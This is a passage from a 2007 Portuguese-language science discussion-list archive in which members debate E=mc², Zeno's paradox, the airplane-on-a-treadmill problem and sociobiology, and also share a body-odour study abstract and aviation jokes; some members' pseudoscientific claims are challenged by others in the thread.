> relógio ao se deslocar de 1 para 2 percorreu essa infinidade de
> números ?

Sim, os ponteiros do relógio percorrem todas as unidades
infinitesimais de espaço entre quaisquer dois pontos de seu percurso.

(Embora haja uma interpretação quantizada para o espaço-tempo tb. Mas
mm em uma distribuição contínua, não há problemas conforme nos mostra
as noção matemática de limite - respondendo a um dos chamados
paradoxos de Zenão.)

[]s,

Roberto Takata



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SUBJECT: Re: [ciencialist] Re: E=m.c2
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 04/05/2007 10:19

É, esqueci-me do Manual dos Escoteiros Mirins! Excelente! Tb recomendo.

[]'
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Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
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-----Mensagem Original-----
De: "José Carlos Antonio" <profjc2003@yahoo.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: sexta-feira, 4 de maio de 2007 01:31
Assunto: [ciencialist] Re: E=m.c2


Takata San,

Os meus são vendidos apenas na rede particular. O "livro público" está
sendo escrito (muito lentamente) na Internet. Porém, contudo,
entretanto e apesar de tudo, duvido muito que o Ferrari ou o José
Renato iriam "perder tempo" aprendendo aquilo que eles imaginam que já
nascem sabendo e que, de qualquer forma, lhes custaria algum tempo e
dedicação para aprender.

Eles querem "interagir" já! Não têm tempo para aprendizagens longas e
paciência para ouvir respostas divergentes de suas concepções
pré-estabelecidas. São casos crônicos de má formação científica que
representam a maioria da população. Só são destacados aqui porque são
bem articulados linguisticamente e porque damos suporte a eles.

Recomendo que leiam Pato Donald.

Abraços,
JC

--- Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@...>
escreveu
>
> --- Em ciencialist@yahoogrupos.com.br, "Alvaro Augusto \(L\)"
> > Você pode afirmar o que quiser. Pode até dizer que o deslocamento é
> > uma ilusão.
>
> Q livro de introdução à Física poderíamos recomendar para o Ferrari -
> ao menos para ele saber o q quer criticar (em lugar de criticar as
> construções q *ele* faz sobre a Física)?
>
> Prof. Zeca, Prof. Leo, seus livros são palatáveis o suficiente para um
> início de introdução à mecânica newtoniana?
>
> []s,
>
> Roberto Takata
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SUBJECT: Re: [ciencialist] Re: Pergunta de Geopolítica
FROM: Gil <nanolink01@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 04/05/2007 12:00

Olá, João.

A questao lá é bem mais complicada. Se tiver um tempo, depois dá uma olhada:
http://www.huffingtonpost.com/stan-goff/the-pword_b_25144.html


Gil

Em 04/05/07, Joao de Carvalho<joaobncarvalho@hotmail.com> escreveu:
> Nunca li sobre a história de Israel, mas acho que ela é uma fonte de
> distúrbios para todo o mundo desenvolvido.
>
> Convergência de fatores? Além de ser uma base dos EUA na região, que
> fatores existem naquele pedaço de terra árida?
>
> Eu acho que os judeus foram para lá porque para eles aquela é uma
> terra sagrada, dada a eles por Deus. Usar isso como argumento para
> uma ação geopolítica em larga escala é uma insanidade. Qual é?
> Estamos na modernidade. Os judeus ainda não perceberam isso? Aquilo é
> uma religião tribal que, por alguma razão, perdurou por milhares de
> anos até os nossos dias.
>
> Saudações.
> João de Carvalho.
>
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SUBJECT: Re: O Dia que a Matéria entrou pelo Cano ::: (artigo)
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 04/05/2007 12:46

Olá Takata!

Takata >>> Mas note q são "pulsos" elétricos e não os
elétrons em si - q se deslocam...

--- Isto mesmo! É isto! Noto exatamente isto. E é por
isto que chego a conclusão de que a matéria pulsa. É
por isto também que lhe disse anteriormente que sou
contra a idéia de deslocamento, os eletrons (em si)
não estão se deslocando, estão pulsando, não é mesmo?
Creio que agora concordamos?


sinceramente
ferrari





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SUBJECT: Re: As Regras do Jogo ::: (artigo) - sobre o ego
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 04/05/2007 14:24

Olá Takata!

Takata >>> Não se descobrem as regras do futebol. As
regras são ensinadas. Niguém fica tentando desvendar
por q um chute na canela em um lugar do campo resulta
em falta e em outro lugar resulta em pênalti...

--- Exatamente!

--- Porém, quando nascemos, o cérebro se vê metido no
meio de um jogo em que as regras já estão rolando faz
tempo e ninguém pára pra lhe explicar. Nascemos e o
cérebro é obrigado a deduzir as regras da
sobrevivencia por conta própria e jogando.

--- Por exemplo, o cérebro aprende a falar seu
primeiro idioma sem escola ou professor algum.
Aprendemos sobre o tempo desde o berço. Primeiro é
preciso chorar pra depois vir a mamadeira. Sobre
fisica também, quando estamos aprendendo a andar passo
a passo.

--- Enfim, o cérebro, para continuar jogando o jogo da
existencia humana, faz o contrário do jogador, tem que
deduzir as regras enquanto está jogando. Aliás, a
ciencia surge dai, concorda? Vem da necessidade e
utilidade de entender as regras do jogo pra diblar
adversários como doenças, furacoes, tempestades, e,
claro, namoradas, rsrsrsrs...


sinceramente
ferrari






> - bem, salvo as
> nossas namoradas q resolvem assistir à final do
> campeonato ao nosso
> lado - essas regras são ensinadas (e por muitos
> esquecidas) qdo os
> garotos treinam.
>
> []s,
>
> Roberto Takata
>
>




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SUBJECT: Re: [ciencialist] Re: Questões sociobiológicas
FROM: "Oraculo" <oraculo@atibaia.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 04/05/2007 14:41

Olá

Takata: "> Seria bom se os humanos tivessem genes q digerissem celulose.

Melhor dizendo, genes q conferissem a capacidade de digestão da
celulose - por exemplo, via produção de celulase.
(Em tempo, a criação de um novo gene NÃO é nem um pouco um passo simples.)"

Nesse sentido, é bom lembrar que mesmo os animais e insetos que digerem celulose, NÃO desenvolveram essa capacidade através de genes, mas sim da apropriação de bactérias e micro-organismos que fazem esse serviço para eles. Em alguns casos, de forma tão especializada, que quase se tornaram parte dos hospedeiros, como os cupins e seus micro-organismos estomacais (que só existem nos estomagos de cupins).

A evolução usa o que está a mão, e da forma como é possível, mais com exoadaptações e gambiarras, e quase nunca com soluçõe originais ou totalmente inovadoras.

Um abraço.

Homero




----- Original Message -----
From: rmtakata
To: ciencialist@yahoogrupos.com.br
Sent: Thursday, May 03, 2007 7:56 PM
Subject: [ciencialist] Re: Questões sociobiológicas


--- Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@...>
> Seria bom se os humanos tivessem genes q digerissem celulose.

Melhor dizendo, genes q conferissem a capacidade de digestão da
celulose - por exemplo, via produção de celulase.

(Em tempo, a criação de um novo gene NÃO é nem um pouco um passo simples.)

[]s,

Roberto Takata





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: P/ Antonio Re: Intervalo de números infinitos e ponteiros do relógio
FROM: "Oraculo" <oraculo@atibaia.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 04/05/2007 14:44

Olá Antonio

Eu ia mencionar o Paradoxo de Zenão, mas o Takata chegou na frente..:-) Em todo caso, Aquiles e a tartaruga, lembra? Se a tartaruga parte em uma corrida com Aquiles, um pouco a sua frente, Aquiles jamais conseguirá ultrapassar a tartaruga, pois quando chegar onde ela estava inicialmente, ela terá andado um pouco a frente. Quando Aquiles chegar lá, ainda assim a tartaruga terá andando mais um pouco. Mesmo que a cada vez ela ánda menos que na anterior, como os "pedaços" de tempo e distância são infinitos, Aquiles sempre estará um, mínimo que seja, atrás da tartaruga..:-)

Um abraço.

Homero



----- Original Message -----
From: rmtakata
To: ciencialist@yahoogrupos.com.br
Sent: Thursday, May 03, 2007 8:44 PM
Subject: [ciencialist] Re: Intervalo de números infinitos e ponteiros do relógio


--- Em ciencialist@yahoogrupos.com.br, "Luiz Antonio Picanço"
> Se entre 1 e 2 existem uma infinidade de números, o ponteiro do
> relógio ao se deslocar de 1 para 2 percorreu essa infinidade de
> números ?

Sim, os ponteiros do relógio percorrem todas as unidades
infinitesimais de espaço entre quaisquer dois pontos de seu percurso.

(Embora haja uma interpretação quantizada para o espaço-tempo tb. Mas
mm em uma distribuição contínua, não há problemas conforme nos mostra
as noção matemática de limite - respondendo a um dos chamados
paradoxos de Zenão.)

[]s,

Roberto Takata





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: E=m.c2
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 04/05/2007 15:05

Olá Alvaro!


Alvaro >>> Parafraseando Pauli, "seu raciocínio é tão
confuso que não chega nem perto de estar apenas
errado".

--- Alvaro, tudo no começo é confuso, pois é novidade.
Novidade pra mim também. Dizer que a matéria pulsa é
um exemplo disto. Como relatei na outra thread " o dia
em que a materia entrou pelo cano" realmente
acreditava que a eletricidade (os eletrons) vinha pelo
fio como gotas dagua pelo cano. Hoje em dia vejo como
é engraçado ter pensado assim. Mas não foi
premeditado, foi sem querer (novidade). De repente me
dei conta que não poderia ser como gotas dagua pelo
cano. Então, surgiu a pergunta: como é então? E a
resposta atual é: a matéria pulsa. Um dos obstáculos
aqui é que quando uso a palavra "matéria" a
interpreção do leitor é apenas o aspecto cheio da
matéria. É um obstaculo semantico, não existe uma
palavra que expresse o que que quero dizer por
matéria. Quando digo matéria estou me referindo tanto
ao aspecto cheio como o vazio (corpo e espaço). E é
este todo que pulsa.

Alvaro >>> De qualquer forma, parabéns! É preciso
mesmo muita coragem para se expor na internet desse
jeito.

--- Infelizmente as pessoas não se expoem porque tem
medo de perder o que tem. Eu não tenho nada, logo não
preciso ter medo de perder. Se as pessoas se dessem
conta que em cofre não se guarda coisa alguma, em
cofre se perde a coisa de vista, o comportamento delas
seria bem distinto, e assim a sociedade.

Alvaro >>> Se fôssemos dar um nome a c^2, iniciativa
absolutamente inútil e sem sentido, deveríamos dar
nomes também para...

--- Ok, mensagem recebida e compreendida.

Alvaro >>> Energia é "massa vibrando"? Interessante,
mas fora de Esalen esse conceito não fará sucesso
algum.

--- Por enquanto. Tudo a seu tempo.

Alvaro >>> A teoria das cordas chega perto disso, mas
afirma que a matéria (não a "massa")resulta da
vibração de cordas microscópicas em certos padrões de
energia.

--- Sim, é a matéria mesmo. E não estou defendendo a
idéia de microcordas, mas de deformações, feito uma
bexiga cheia dagua se deformando.

Alvaro >>> Mas a teoria das cordas, além de
controversa, parte de equacionamento matemático e não
de confusões entre grandezas físicas e a medida delas.

--- Eu parto da observação de fenomenos como o
downloud, gravação, telefonia, entre outros...
Básicamente fenomenos que chamamos de comunicação.

Alvaro >>> Você pode afirmar o que quiser. Pode até
dizer que o deslocamento é uma ilusão.

--- Bem, acho que a palavra "ilusão" precisa ser
explicada dentro deste contexto para não gerar mais
problemas. Quando digo que o deslocamento é uma ilusão
troque por "uma visão fisica". Por exemplo, racioninar
que a eletricidade (eletrons) corre pelo fio feito
gotas dagua é olhar para o fenomeno com uma visão
fisica, o que acarreta em uma ilusão. Creio que a
visão fisica tem seu lugar, mas não todos os lugares.

Alvaro >>> Mas enquanto não for capaz de apresentar
uma equação que traduza suas idéias em termos
mensuráveis, estará praticando apenas misticismo, não
física.

--- Ok, mensagem recebida e entendida. Só posso lhe
dizer que estou fazendo o que está ao meu alcance, e
que estou na ponta dos pés.

Alvaro >>> E mesmo a teoria das cordas, que é milhões
de vezes melhor do que essas noções do universo à la
new age, é frequentemente acusada de misticismo.

--- Bom, meu trabalho é produzir o produto, quem
quizer que ponha o rótulo que quiser nele. O rótulo
não vai mudar o produto


sinceramente
ferrari




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SUBJECT: Re: [ciencialist] Re: Questões sociobiológicas
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 04/05/2007 15:14

João:

Quando disse aleatório é porquê não segue uma probramação.
O mestre Takata diz que não é aleatória porque o ser procura a melhor adaptação naquele determinado momento. Não é uma adaptação acidental.
Quanto ao termo facies uso como as características determinantes de um grupo de humanos: o derma, os olhos, formatos de partes corporais como nariz, lábios, etc. o que já se chamou de características raciais o que hoje não tem consistência pois o conceito de raça já não existe pois descendemos de uma cepa únida de hominídeos.

sds.,

silvio.

----- Original Message -----
From: Joao de Carvalho
To: ciencialist@yahoogrupos.com.br
Sent: Thursday, May 03, 2007 6:53 PM
Subject: [ciencialist] Re: Questões sociobiológicas


Olá, Sílvio.

> A seleção natural é aleatória, segue as necessidades de adaptação
aos diversos cenários da existência humana: eis a diferença dos
facies e índices melanodérmicos dos humanos.

Como disse o Takata, a seleção não é aleatória. Ela seleciona
elementos criados pelo acaso, mas esta seleção não se dá ao acaso.

O que são facies?

Saudações.
João de Carvalho.






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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: E=m.c2
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 04/05/2007 15:19

Olá JC!

--- Eis ai o giló que conheço!

JC >>> Não têm tempo para aprendizagens longas e
paciência para ouvir respostas divergentes de suas
concepções pré-estabelecidas.

--- Concepções em estabelecimento, é diferente. O
professor (estabelecido) é vc e não eu.

JC >>> São casos crônicos de má formação científica
que representam a maioria da população.

--- Discordo. E falando por mim, sou apenas um mau
aluno, daqueles que não acreditam nos professores. E
que mal há nisto? Por acaso, o método cientifico é o
método da crença nos professores?

JC >>> Só são destacados aqui porque são bem
articulados linguisticamente e porque damos suporte a
eles. Recomendo que leiam Pato Donald.

--- JC, vc está usando o mesmo metodo de argumentação
do Luiz. Humilhar pra ficar por cima. Vc não precisa
disto. E ninguém merece. E por fim, porque não usa a
thread pra falar sobre o assunto ao inves dos
costumeiros sermões. Até quando vai ignorar que sermão
não é método cientifico e não funciona na
aprendizagem.


sinceramente
ferrari



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SUBJECT: Re: [ciencialist] Re: E=m.c2
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 04/05/2007 16:00

Olá Takata!

Takata >>> m/s não necessariamente é velocidade de
deslocamento. Pode ser a medida de crescimento linear
de um corpo ou objeto - por exemplo, a taxa de
crescimento dos fios de cabelo.

--- Ok. Se assumir genericamente que espaço/tempo é
"medida de crescimento linear" então posso assumir que
C2 é um crecimento linear também, certo?

Takata >>> Superfícies podem se deslocar, mas seu
deslocamento não se mede como qq outro deslocamento -
em unidade de comprimento - assim a velocidade de
deslocamento não seria em termos de unidades de área.

--- Não entendi. Se der pra explicar, agradeço.

Takata >>> Medidas como m2/s poderia representar, por
exemplo, a taxa de variação do tamanho de uma
superfície.

--- Poderia representar a taxa de deformação de uma
superficie? Existe algo assim na fisica?

Takata >>> De 'quadrado da velocidade', parece ser um
bom nome.

--- Ok.

Takata >>> Aliás, a equação E = m.c2 mostra exatamente
q existe energia associada à massa.

--- Exatamente! Isto que estou defendendo.

Takata >>> Apenas à massa q não precisa estar se
deslocando, vibrando ou fazendo qq outra coisa q não
seja ser massa.

--- Isto mesmo! É isto que estou defendendo também.
Com o adendo de que, esta associação da massa com a
energia que a anima (pulso), faz com que ela (a
matéria/massa) esteja sempre num estado vibracional ou
outro quando medida. A massa em si é só massa, só é,
ser massa, como vc diz, concordo, mas o universo é
vivo e assim a massa está sempre pulsando pois ela é a
substancia do universo que pulsa.


Takata, parece que estamos concordando finalmente. Tá
vendo como não precisava o preconceito semantico?


sinceramente
ferrari




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SUBJECT: Re: [ciencialist] Re: Questões sociobiológicas
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 04/05/2007 16:46

Data venia, prezado João:

Engels, no " História da Familia, da Propriedade Privada e do Estado" e também nosso queridíssimo Darci Ribeiro expõem essa teoria, com perfeita explicação palenteológica pelo primeiro e cujo fundamento básico é que as mulheres dirigiam os grupos em função da reprodução: os homens colhiam e caçavam para sustentar a mulher e os filhos que sempre corriem risco de morte pelos outros animais.O raciocínio é lógico. Parece-me que tem um estudo sobre as tribos de índios americanos do norte, sobre matriarcado: é inesistente entre os homens da floresta brasileiros: tanto que as mulheres, só uma vez por ano fazem uma festa, só delas e as crianças e os homens ficam de fora....
Seria bom pesquisar em H. Toynbee....

sds.,

silvio.
----- Original Message -----
From: Joao de Carvalho
To: ciencialist@yahoogrupos.com.br
Sent: Tuesday, May 01, 2007 10:01 PM
Subject: [ciencialist] Re: Questões sociobiológicas


Olá, JC.

> Engels acreditava que a sociedade humana era matriarcalista e tem
bons argumentos para tal.

A antropologia, na época de Engels, era muito incipiente. A
etnografia só se torna rigorosa a partir do século XX. Acho difícil
que as sociedades humanas sejam matriarcais, embora haja pessoas que
defendam isso, principalmente após a elucidação da estrutura social
dos bonobos.

Se você puder relatar os argumentos de Engels eu ficaria muito
agradecido.

> Politica entre humanos é diferente de política entre animais.

É verdade. É bastante provável que a política humana tenha passado
por amplas transformações ao longo de nossa história evolutiva. Robin
Fox trata disso em seu importante "The red lampo of incest", no qual
ele retoma Freud em "Totem e tabu." Entre as coisas que se
desenvolveram ao longo de nossa evolução foram a formação de grupos
de familiares de natureza transcendental, contratos de casamento e
criação de regras que definiam como seria a distribuição de mulheres
entre os homens. Se diz que o casamento não é algo como a união entre
gibões ou passarinhos. Se existe um equivalente humano para essas
uniões, eu diria que é o namoro - uma união mediada por paixão,
companheirismo e sexo. Se existe um equivalente animal para o
casamento, eu diria que é a hierarquia primata. Uma ordem que diz
quem tem preferência, ou mesmo exclusividade, no acesso às fêmeas.

Um abraço.
João de Carvalho.






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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: The effect of meat consumption on body odor attractiveness.
FROM: Bruna Carolina Ribas <brunacribas@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 04/05/2007 18:16


The effect of meat consumption on body odor attractiveness.
Havlicek J,
Lenochova P.
Department of Anthropology, Faculty of Humanities, Charles University, Husnikova 2075, 158 00 Prague 13, Czech Republic. jan.havlicek@fhs.cuni.cz
Axillary body odor is individually specific and potentially a rich source of information about its producer. Odor individuality partly results from genetic individuality, but the influence of ecological factors such as eating habits are another main source of odor variability. However, we know very little about how particular dietary components shape our body odor. Here we tested the effect of red meat consumption on body odor attractiveness. We used a balanced within-subject experimental design. Seventeen male odor donors were on "meat" or "nonmeat" diet for 2 weeks wearing axillary pads to collect body odor during the final 24 h of the diet. Fresh odor samples were assessed for their pleasantness, attractiveness, masculinity, and intensity by 30 women not using hormonal contraceptives. We repeated the same procedure a month later with the same odor donors, each on the opposite diet than before. Results of repeated measures analysis of variance showed that the odor of
donors when on the nonmeat diet was judged as significantly more attractive, more pleasant, and less intense. This suggests that red meat consumption has a negative impact on perceived body odor hedonicity.
PMID: 16891352 [PubMed - indexed for MEDLINE]
http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?db=pubmed&cmd=Retrieve&dopt=AbstractPlus&list_uids=16891352&itool=iconabstr&itool=pubmed_DocSum


Bruna Carolina Ribas Silva
Rio Grande/RS

"A maior tradição do ser humano é evoluir"

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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Excelência de comunicação ou de humor
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 04/05/2007 22:01

Afinal, o que torna a comunicação eficaz?

Após cada vôo, os pilotos da empresa australiana Qantas preenchem um
formulário, onde descrevem aos mecânicos os problemas com a aeronave.
Os mecânicos corrigem o problema e documentam os reparos no mesmo
formulário, que é então conferido pelos pilotos antes do próximo vôo.
O problema é que a equipe de terra tem muito senso de humor.
Seguem reclamações reais submetidas pelos pilotos (marcadas com um P)
e as soluções anotadas pela equipe de manutenção (marcadas com S).
A Qantas é a única das grandes empresas aéreas que jamais teve um
acidente.

............................................

P: Pneu interior esquerdo do trem principal está quase precisando ser
trocado
S: Quase trocamos o pneu interior esquerdo do trem principal.

P: Alguma coisa está solta no cockpit.
S: Alguma coisa foi apertada no cockpit.

P: Insetos mortos no pára-brisa
S: Insetos vivos operando.

P: Piloto automático em modo altitude-constante gera uma descida de
200 pés por minuto
S: Não pudemos reproduzir o problema em terra.

P: Evidência de vazamento no trem de pouso direito
S: Evidência removida.

P: Volume do DME inacreditavelmente alto
S: Volume do DME ajustado para volume acreditável.

P: Travas de fricção fazem alavanca de aceleração ficar dura.
S: Travas de fricção são para isso.

P: IFF inoperante no modo OFF.
S: IFF sempre inoperante no modo OFF.

P: Suspeito que há uma trinca no pára-brisa
S: Suspeito que você está correto.

P: Turbina número 3 está faltando.
S: Turbina número 3 achada sob a asa direita após rápida investigação.

P: Aeronave se comporta de forma engraçada.
S: Aeronave avisada: tome jeito, vôe direito e aja com seriedade!

P: Radar está murmurando
S: Radar reprogramado com as letras das músicas

P: Rato no cockpit.
S: Gato instalado.

P: Ruído vindo de baixo do painel de controle. Soa como um anão
martelando alguma coisa.
S: Martelo do anão devidamente confiscado.

FIM

[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: E=m.c2
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 04/05/2007 22:41

Olá, Álvaro! Vale lembrar que no caso da fissão nuclear não há transformação
total da "matéria" em energia, sempre sobram nêutrons que vão provocar novas
colisões ou não.
[]s
José Renato
.............................................

From: "Alvaro Augusto (L)" <alvaro@To: <ciencialist@yahoogrupos.com.br>
Sent: Monday, April 30, 2007 4:49 PM
Subject: Re: [ciencialist] Re: E=m.c2


> Caro José Renato,
>
> Em uma fissão nuclear a velocidade não se aproxima à da luz. Uma fissão
> pode
> ser provocada por neutrons lentos e mesmo neutrons rápidos movem-se muito
> mais devagar do que a luz. Sua visão da desintegração nuclear não me
> parece
> correta.
>
> [ ]s
>
> Alvaro Augusto
>
>
>
> ----- Original Message -----
> From: "José Renato" <jrma@terra.com.br>
> To: <ciencialist@yahoogrupos.com.br>
> Sent: Monday, April 30, 2007 12:23 AM
> Subject: Re: [ciencialist] Re: E=m.c2
>
>
>> Caro, Alberto!
>>
>> Esta mensagem - e seus artigos de referências - me faz lembrar uma
>> interpretação simples da famosa fórmula E=mc2, em que considero a "massa"
>> como a "energia estruturada" existente em uma ou mais partículas. Assim,
>> a
>> massa contida em uma ou mais partícula é igual à energia cinética
>> dissipada quando, em velocidade próxima à da luz, choca-se com um
>> anteparo-calorímetro.
>>
>> Usando a clássica fórmula de energia cinética 1/2mv2 e considerando a
>> desintegração de uma partícula - em luz e calor - em todas as direções,
>> teremos, *grosso modo*, expansão-pressão para um lado e para o oposto,
>> assim: <-- 1/2mv2 0 1/2mv2 -->, onde 0 é a partícula desintegrada ou
>> totalmente dissipada no choque contra um anteparo-calorímetro. Somando-se
>> essas duas energias cinéticas liberadas por uma "explosão atômica",
>> teremos:
>> 1/2mv2 + 1/2mv2 = mv2.
>>
>> No caso da fissão nuclear, em que a velocidade equipara-se à da luz,
>> teremos
>> que a energia (cinética) dissipada é igual a mc2, donde, Ec=mc2(energia
>> cinética é igual a massa vezes a velocidade da luz ao quadrado). Ou mais
>> genericamente: E=mc2.
>>
>> Abraços
>>
>> José Renato
>> .............................................
>>
>> ----- Original Message -----
>> From: "Alberto Mesquita Filho" <albmesq@uol.com.br>
>> To: <ciencialist@yahoogrupos.com.br>
>> Sent: Saturday, April 28, 2007 8:50 PM
>> Subject: Re: [ciencialist] Re: E=m.c2
>>
>>
>>> ----- Original Message -----
>>> From: "Manuel Bulcão"
>>> Sent: Saturday, April 28, 2007 8:40 PM
>>> Subject: [ciencialist] Re: E=m.c2
>>>
>>>> quando os físicos falam em "energia de massa" estão se referindo a
>>>> quê? à matéria (partículas "massivas" com spin meio integral) ou à
>>>> energia associada a ela, isto é, E/c^2? Estou perguntando isso
>>>> porque, em artigos e livros de divulgação científica (bons livros,
>>>> cujos autores são físicos famosos), a impressão que tenho é que se
>>>> faz certa confusão.
>>>
>>> Esta confusão realmente existe e é própria de toda a física "moderna".
>>> Energia, para o físico "moderno", é algo que se conserva depois que
>>> ele joga no lixo algumas coisas que possam não lhe interessar. Para
>>> entender melhor o que estou pretendendo dizer sugiro a leitura do
>>> artigo "A energia da física moderna", em
>>> http://www.ecientificocultural.com/ECC2/artigos/energia.htm . Este
>>> artigo é uma adaptação da mensagem 13497 da Ciencialist e as mensagens
>>> subsequentes podem ser acompanhadas a partir de
>>> http://www.ecientificocultural.com/ECC2/Dialogos/efm.htm
>>>
>>> [ ]´s
>>> Alberto
>>> http://ecientificocultural.com/indice.htm
>>> Mas indiferentemente a tudo isso, o elétron não é uma carga elétrica
>>> coulombiana e a Terra se move. E a história se repetirá.
>>
>>
>>
>
>
>
> ##### ##### #####
>
> Página de apoio
> http://www.ciencialist.com
>
>
> ##### ##### ##### #####
> Links do Yahoo! Grupos
>
>
>
> E-mail classificado pelo Identificador de Spam Inteligente Terra.
> Para alterar a categoria classificada, visite
> http://mail.terra.com.br/cgi-bin/imail.cgi?+_u=jrma&_l=1,1177966031.658969.7663.morondava.hst.terra.com.br,6759,Des15,Des15
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>
>



SUBJECT: Re: [ciencialist] P/ JC - Re: Balanço do avião - Não to entendendo nada
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 04/05/2007 23:24

Olá, José Carlos!
Vc estava indo bem, de repente bloqueou de novo!
Areje seus neurônios e deixe de lado essa sua certeza de que eu não tive um
bom curso de física. Ela só atrapalha seu raciocínio... Afinal, por que vc
iria perder tempo com alguém que não sabe considerar referenciais, não é? Em
cima dessa constatação qualquer coisa que eu lhe disser vc não vai
considerar como algo válido e verdadeiro. É a sua chance de renovar as
idéias, falta pouco!
Faço comentários no corpo do e-mail, após JR -.
...............................................

From: "José Carlos Antonio" <profjc2003@To: <ciencialist@yahoogrupos.com.br>
Sent: Tuesday, May 01, 2007 2:57 AM
Subject: [ciencialist] P/ JC - Re: Balanço do avião - Não to entendendo nada


Olá José Renato, seguem comentários.


--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
>
> Olá, José Carlos! Enfocando a questão dos referenciais...
>
> A resposta sobre referenciais está no texto anterior, veja:
> [ A esteira se move para um lado e o avião para o outro, tanto em
> relação ao chão quanto *entre eles* mesmos. ]
>
> Utilizando como referencial *um ponto sobre a esteira*, esse ponto
> pode se mover sim, tanto em relação ao chão, ao avião e em relação
> a ela mesma, à sua estrutura.


É, parece que você está com problemas para definir seu referencial.
Agora parece que você também tem problemas para definir a sua esteira. :)

Se você chama de esteira a uma superfície sobre a qual está o avião,
então a "estrutura" da sua esteira seria na verdade o mecanismo que a
move e não a própria esteira. Se esse mecanismo é fixo no solo então o
referencial "na estrutura da esteira" é, na verdade, o referencial do
chão.
De qualquer forma parece que você vai ter que assumir que o
referencial sempre foi o chão, não é mesmo? ;)
JR - Não é não, JC! Podemos considerar a esteira solta no espaço e teremos a
relação entre os movimentos - de rolagem da esteira e o do avião - do mesmo
jeito. Veja que a terra-chão estão em movimentos no espaço, mas por que vc
acha que não o consideramos? O ar também...


Acho que você não tem mais "saídas" José Renato, seu referencial é o
mesmo que todos disseram que era: o chão! :)))
JR - O chão também é um referencial para a análise da relação entre o avião
e o ar.

Já provamos que nesse referencial (chão) o avião se move no caso
descrito no problema e você nãoe stá conseguindo (e nem vai conseguir)
escolher outro referencial válido para o enunciado do problema...
Então talvez seja hora de admitir que teve uma idéia brilhante, mas
que ela não funciona.
JR - Vc é quem sabe, JC! Se preferir achar que é isso, em vez de pensar um
pouco mais e ultrapassar as sutis dificuldades mentais que ainda persistem,
paramos por aqui.


> Veja explicação importante, que consta no e-mail anterior:
> [ O referencial *principal* é a interação entre os movimentos da
> esteira e do avião.


José Renato, "interação entre movimentos" não é referencial e só pode
ser analisada "escolhendo-se antes um referencial". Seu curso de
física básica foi bem ruinzinho mesmo, ou você matou muitas aulas para
paquerar as menininhas. ;)
JR - Se vc tivesse feito a prática que indiquei, usando um carrinho de
supermercado e uma esteira rolante, vc iria ver a interação de movimentos
ocorrerem bem na sua frente. Veria vc-turbina empurrando o carrinho para um
lado sobre o piso da esteira *na na mesma velocidade da esteira* e veria o
piso da esteira se deslocando para o lado contrário. Veria também que assim
vc estaria praticamente parado em relação ao chão-terra-ar.


> O chão é um referencial secundário, que só será utilizado para
> analisar o deslocamento do avião - que corre sobre a esteira na mesma
> velocidade em sentido contrário - em relação ao chão e ao ar, para
> concluir que não há condições de sustentação para alçar vôo. ]


Não existem referenciais "primários" e "secundários". Existem apenas
referenciais. Podem ser inerciais ou não-inerciais, mas não podem ser
classificados em primários ou secundários porque não se pode saltar de
um referencial a outro sem reconsiderar todos os movimentos
envolvidos. Esse processo de "saltar de um referencial a outro"
chama-se "mudança de referencial" e envolve geralmente mudança no
sistema de coordenadas (cartesianas, cilíndricas, polares, esféricas,
etc.).
JR - Não estou saltando de um referencial para outro, JC. Estou apenas
usando os referenciais existentes que atendem as premissas do problema...

Você entrou numa enrascada. Você é um aluno teimoso, mas eu sou acho
que sou um professor bem mais teimoso do que você. :)))
JR - Esqueça isso, professor! Não estamos medindo índice de teimosia. Volte
a ver a questão com empenho e interesse. É fundamental. Não se preocupe
comigo, olhe só o problema, OK?

Abraços,
JC

Abraços
José Renato

.......................................................
>
>
> From: "José Carlos Antonio" <profjc2003@To:
<ciencialist@yahoogrupos.com.br>
> Sent: Monday, April 30, 2007 12:04 AM
> Subject: [ciencialist] P/ JC - Re: Balanço do avião - Não to
entendendo nada
>
>
> Olá José Renato,
>
> Apaguei partes muito antigas ou que não precisam ser comentadas, ok?
> Os comentários seguem logo abaixo dos seus.

( apaguei o restante )



SUBJECT: Re: Questões sociobiológicas
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 04/05/2007 23:29

--- Em ciencialist@yahoogrupos.com.br, "Silvio Cordeiro"
> O mestre Takata diz que não é aleatória porque o ser procura a
> melhor adaptação naquele determinado momento. Não é uma adaptação
> acidental.

Eu não falei isso. Eu falei q não é aleatória. Não falei nada de
